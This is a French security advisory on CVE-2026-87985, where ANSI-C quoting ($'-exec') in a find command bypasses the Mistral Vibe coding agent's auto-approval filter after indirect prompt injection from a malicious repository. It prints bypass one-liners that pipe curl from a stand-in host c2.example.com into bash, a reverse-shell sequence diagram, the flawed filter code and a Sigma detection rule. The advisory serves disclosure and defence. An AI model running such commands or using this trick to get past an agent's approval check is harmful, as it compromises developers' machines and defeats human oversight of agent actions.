Aller au contenu

CVE-2026-87985 : exécution de code à distance via le quoting ANSI-c dans find -exec sur Mistral vibe

HERMES

SCORE DE MENACE HERMES & COMPROMISSION MAXIMALE D'AGENT

Cible : Mistral Vibe Coding Agent (mistral-vibe)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v4.0 attribue à la CVE-2026-87985 la note maximale de 10.0 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). Le score de menace Hermes s'établit à 98 (CRITIQUE). Cette criticité découle de la destruction totale de la barrière de contrôle de l'agent, permettant à un dépôt distant d'obtenir une exécution de code sans aucune validation humaine.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87985: Mistral Vibe Arbitrary Remote Code Execution via ANSI-C Quoting in find -execVULNÉRABILITÉ

Nœuds connectés : 4
Relations sortantes actives
→ affectsCOMPOSANTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-002.”

Preuves vérifiées associées :
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-001: Direct System Prompt Override
92% VERY_HIGH

Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-001.”

Preuves vérifiées associées :

1. Contexte technique & matrice des versions affectées

Section intitulée « 1. Contexte technique & matrice des versions affectées »
ParamètreSpécification TechniqueContexte Threat Intelligence
Identifiant CVECVE-2026-87985Découvert par Esteban Tonglet (HiddenLayer)
Faiblesse CWECWE-184 (Liste d’exclusion incomplète), CWE-78 (Injection de commande)Omission du type de nœud AST ansi_c_string
Vecteur d’attaqueInjection indirecte de prompt (AAP-002) / AAP-003Pull request, issue GitHub ou documentation vérolée
Composant vulnérableModule de validation des drapeaux de commandes (vibe)Ignore les jetons AST de type ansi_c_string
Versions affectéesmistral-vibe < 1.1.0Configuration avec auto-approbation par défaut
Version corrigéevibe >= 1.1.0Normalisation et unification de tous les nœuds de chaînes
Impact systémiqueExécution de code à distance totale, prise de contrôle du posteCompromission maximale de l’environnement développeur

2. Décomposition technique approfondie & cause racine

Section intitulée « 2. Décomposition technique approfondie & cause racine »

Bash supporte la syntaxe de quoting ANSI-C $''. Les séquences d’échappement y sont résolues selon la norme C, et le résultat est traité comme un mot unique :

Fenêtre de terminal
find . $'-exec' bash -c "curl https://c2.example.com/stage2.sh | bash" ';'

Lors du parsing par tree-sitter-bash, l’arbre obtenu est le suivant :

command
├── name: command_name -> "find"
├── argument: word -> "."
├── argument: ansi_c_string -> "$'-exec'" <--- Classé comme ansi_c_string !
├── argument: word -> "bash"
├── argument: word -> "-c"
├── argument: string -> '"curl https://c2.example.com/stage2.sh | bash"'
└── argument: word -> "';'"

Le filtre de sécurité de Mistral Vibe vérifiait explicitement le type des nœuds enfants :

# Logique vulnérable de vérification des drapeaux dans Mistral Vibe (< 1.1.0)
FORBIDDEN_FIND_FLAGS = {"-exec", "-execdir", "-ok", "-okdir"}
def check_find_flags(command_ast_node) -> bool:
for child in command_ast_node.children:
# ANOMALIE : Seuls les nœuds 'word' et 'string' sont testés !
if child.type in ("word", "string"):
token_val = child.text.decode("utf-8")
if token_val in FORBIDDEN_FIND_FLAGS:
return False # Bloque l'auto-approbation
# Les nœuds de type 'ansi_c_string' sont ignorés !
return True # Auto-approuvé !

Comme child.type vaut "ansi_c_string", le test est ignoré et la boucle termine sans détection. Vibe transmet la commande brute à Bash, qui évalue $'-exec' en -exec et lance le sous-shell malveillant sans aucune interaction utilisateur.


sequenceDiagram
autonumber
actor Attaquant as Attaquant (Dépôt Malveillant)
participant Agent as Agent de Codage Mistral Vibe
participant Filtre as Filtre de Sécurité AST
participant Shell as Interpréteur Bash Hôte
participant C2 as Serveur C2 Attaquant
Attaquant->>Agent: Injection indirecte de prompt (AAP-002)
Agent->>Filtre: Commande : find . $'-exec' bash -c 'sh <(curl http://c2/shell)' #59;
Filtre->>Filtre: Parse l'AST : find autorisé, teste les drapeaux
Filtre->>Filtre: Ignore le nœud ansi_c_string ($'-exec')
Note over Filtre: Aucun drapeau interdit détecté. AUTO-APPROUVÉ !
Filtre->>Shell: Transmet la commande complète au shell Bash
Shell->>Shell: Évalue $'-exec' en -exec et exécute le payload
Shell->>C2: Établit un reverse shell vers l'infrastructure C2 !

title: RCE Mistral Vibe via find -exec et Quoting ANSI-C
id: 87985001-vibe-find-ansic-exec-fr
status: experimental
description: Détecte l'exécution de find avec syntaxe de quoting ANSI-C sous un processus parent Mistral Vibe.
references:
- https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
category: process_creation
product: linux
detection:
selection_parent:
CommandLine|contains: 'vibe'
selection_payload:
CommandLine|re: 'find\s+.*(\$'-exec|\$'-execdir|\$'-ok)'
condition: selection_parent and selection_payload
level: critical

  1. Mise à jour impérative : passer à vibe >= 1.1.0, qui analyse tous les types de jetons textuels (ansi_c_string) et normalise les drapeaux avant examen.
  2. Retirer find de l’auto-approbation : supprimer find de la liste des commandes autorisées dans ~/.vibe/config.toml.
  3. Conteneurisation obligatoire : ne jamais exécuter d’agents de code autonomes directement sur la machine hôte sans isolation stricte.
  4. Surveillance AgentThreat Studio : activer les contrôles de validation de schéma de paramètres (AgentThreat Studio) pour contrer AAP-003 : Altération des paramètres d’outils.